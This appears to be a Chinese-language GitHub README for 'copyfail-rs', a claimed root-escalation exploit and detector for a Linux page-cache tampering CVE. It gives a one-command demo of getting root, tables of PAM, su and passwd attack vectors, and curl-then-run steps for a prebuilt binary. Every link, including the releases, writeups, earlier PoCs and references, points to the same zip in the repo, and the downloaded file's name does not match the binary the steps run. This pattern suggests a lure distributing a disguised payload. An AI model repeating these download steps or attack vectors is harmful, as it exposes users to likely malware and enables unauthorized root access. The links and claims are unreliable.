Liverwortenuresis371/copyfail-rs
GitHub: Liverwortenuresis371/copyfail-rs
针对 Linux 内核 CVE-2026-31431 页缓存篡改漏洞的一体化利用与检测工具,能在不修改磁盘的情况下绕过 PAM 认证获取 root 权限,并提供完整的检测、基线对比和应急响应工件。
Stars: 0 | Forks: 0
# copyfail-rs
单一静态二进制文件。约 108 KB。`no_std` musl。
## 演示
```
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
```
单条命令。Root shell。底层使用 PAM 绝杀技(向 `/etc/pam.d/common-auth` 写入单个 4 字节),通过丢弃的密码执行 sudo 掉入 PTY 进入 root。`[sudo] password for noot:` 行会短暂闪过,sudo 总是回显该提示;该二进制文件会输入任意字符串,而 pam_unix 的失败会穿透被注释掉的 pam_deny.so,传递至 pam_permit.so → root。
```
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← what's actually loaded (mutated)
disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean)
```
这就是该项目。磁盘数据干净,缓存被篡改。所有公开的 FIM 均失效。而此工具则不然。
## 快速开始(无需构建)
[v0.1.0 release](https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip) 上提供了预构建的静态二进制文件。选择您的架构,下载,运行。
```
# x86_64(大多数笔记本电脑 + 云服务器)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
```
其他架构:
| 架构 | 文件 |
|------|------|
| ARM64 (aarch64) | `copyfail-aarch64-musl` |
| ARMv7 (树莓派 3+) | `copyfail-armv7-musleabihf` |
验证完整性:
```
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
```
静态 musl 二进制文件,无运行时依赖,可部署在任何 Linux 上。
## 为什么 FIM 会失效
页缓存篡改。无 VFS 写入。无脏页。无 inotify 事件。定期重新扫描与缓存驱逐竞争。
AIDE/Wazuh/OSSEC/Tripwire/Samhain 通过缓冲 I/O 读取 → 页缓存 → 将篡改后的字节作为事实进行哈希处理。或者在驱逐后,对干净的磁盘进行哈希处理 → “未发生过任何更改”。
检测需要 O_DIRECT(绕过缓存)+ 缓冲读取(命中缓存)+ 哈希差异。不匹配 = CopyFail 特征。这就是 `--scan`。
## 攻击向量
| 向量 | 目标 | 落点 |
|--------|--------|----------------|
| `pam` (新增) | `/etc/pam.d/common-auth` (Debian/Ubuntu) 或 `system-auth` (Fedora/RHEL/Arch) | 4 字节。`auth requisite pam_deny.so` → `#aut requisite pam_deny.so`。使用任意密码执行 sudo = root。 |
| `su` | `/usr/bin/su` | 篡改 setuid 二进制文件文本。`execve` → root。 |
| `passwd` | `/etc/passwd` | UID 翻转 → 用户在下次登录时变为 root。会破坏该用户的 SSH。 |
自动选择:`--vector auto`(默认)。按隐蔽性排名为 pam > su > passwd。失败时回退。
## 检测
| 模式 | 内容 |
|------|------|
| `--check` | 内核 + 模块 + `CONFIG_CRYPTO_USER_API_AEAD` + 缓解状态。结论:易受攻击 / 已缓解 / 安全。 |
| `--scan` | 关键文件的 O_DIRECT 与缓冲读取差异。基于 `statfs()` 分支处理:ext4/xfs/btrfs 使用 O_DIRECT,overlayfs 回退,tmpfs 跳过。 |
| `--baseline` / `--diff` | 快照已知干净状态。之后进行差异对比。仅缓存的增量 = CopyFail 指纹。 |
| `--watch` | 守护进程。定期扫描。SIGTERM 干净退出。 |
| `--hunt` | SSH 集群扫描。JSON 聚合。 |
随处可用的 `--json` 用于 SIEM 接入。
## 检测工件
`detection/`:
- `sigma/copyfail-af-alg.yml`,Sigma 规则,直接接入您的 SIEM
- `auditd/copyfail.rules`,`augenrules --load`
- `ebpf/copyfail-trace.bt`,bpftrace 单行命令
- `apparmor/copyfail-block.profile`,AppArmor 3.0+ 拒绝规则
- `mitigation/disable-algif.sh`,modprobe 黑名单 + `=y` 警告
## 缓解措施
```
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
```
或者内核主线 `a664bf3d603d`(2026 年 4 月)。截至目前:仅有 Debian Sid/Forky 发布。Ubuntu LTS、RHEL、SUSE、Amazon Linux、Fedora、Arch、Oracle = 均易受攻击。
注意事项:`CONFIG_CRYPTO_USER_API_AEAD=y`(内建)会静默绕过 modprobe。`--check` 会发出警告。
在利用 + 缓解之后:缓存的篡改会持续存在,直到重启。缓解措施会阻止新攻击,但不会撤销过去的攻击。
## 构建
```
cargo build --release --target x86_64-unknown-linux-musl
```
| 目标 | 大小 |
|--------|------|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
`no_std`。无分配器。无运行时依赖。单一静态二进制文件。
预构建工件和 SHA256 校验和附在 GitHub releases 中。
## 用法
请参阅 `docs/usage.md`,获取每种模式(漏洞利用 auto/list/all,检测 check/scan/baseline/diff/watch/hunt)的具体单屏示例。
有关本 README 的较长叙述版本(更多上下文,更深入的阐述),请参阅 [`BLOG.md`](./BLOG.md)。
## 威胁模型
请参阅 `docs/threat-model.md`。
## 比较
| | Theori Python | tgies C | badsectorlabs Go | **copyfail-rs** |
|--|--------------|---------|------------------|-----------------|
| 向量 | su | su + passwd | su | **su + passwd + PAM (新颖)** |
| 检测 | 无 | 无 | 无 | **完整的 --mode detect** |
| IR 工件 | 无 | 无 | 无 | **Sigma + auditd + eBPF + AppArmor** |
| 操作员体验 | 3 条命令 | 4 条命令 | 5 条命令 | **1 条命令** |
| 二进制文件 | 需要 Python | 约 10 KB | 约 5 MB | **约 108 KB 静态** |
## 授权与道德规范
仅限自有硬件。无 CLI 门控(安全剧场)。README + LICENSE = 框架。
检测模式为只读。在生产环境中安全。
漏洞利用模式会篡改内核页缓存。仅限内存操作,但应将其视为破坏性操作。它会阻止任何后续调用者的身份验证。
## 致谢
CVE-2026-31431 由 Theori / Xint 于 2026-04-29 披露([writeup](https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip),[Xint blog](https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip))。之前的公开 PoC:
- [theori-io/copy-fail-CVE-2026-31431](https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip)(Python,732 字节,su 向量)
- [tgies/copy-fail-c](https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip)(使用 nolibc 的 C,su + passwd 向量,可移植)
- [badsectorlabs/copyfail-go](https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip)(静态 Go 二进制文件,su 向量)
本项目 (`copyfail-rs`):增加了 PAM 身份验证绕过向量、双模式检测和 IR 工件。
## 许可证
MIT。
## 参考文献
- https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
- Linux 修复:`a664bf3d603d`
- 基线:`72548b093ee3`(4.14,2017 年 8 月)
- 类比:Dirty Pipe(CVE-2022-0847)
标签:CSV导出, CVE-2026-31431, Docker镜像, FIM绕过, musl, no_std, Page Cache Mutation, PAM认证绕过, Rootkit, Rust, Web报告查看器, Zeek, 可视化界面, 恶意文件读写, 提权漏洞, 文件完整性监控绕过, 本地提权, 系统完整性监控, 系统防御绕过, 网络安全, 网络流量审计, 身份验证攻击, 通知系统, 隐私保护, 静态二进制, 页面缓存篡改